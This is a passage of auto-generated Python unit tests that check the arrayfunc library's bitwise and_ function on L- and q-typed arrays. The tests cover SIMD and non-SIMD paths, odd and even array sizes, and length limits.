"""Test and_ as *array-num-array* for basic function - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code L.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code L.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code L.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_withsimd_simd_L(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('L', xdata)
self.data2 = array.array('L', ydata)
self.dataout = array.array('L', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code L.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code L.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code L.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_nosimd_simd_L(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('L', xdata)
self.data2 = array.array('L', ydata)
self.dataout = array.array('L', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code L.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code L.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code L.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_withsimd_simd_L(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('L', xdata)
self.data2 = array.array('L', ydata)
self.dataout = array.array('L', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code L.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code L.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code L.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code L.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code L.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_nosimd_simd_q(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('q', xdata)
self.data2 = array.array('q', ydata)
self.dataout = array.array('q', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
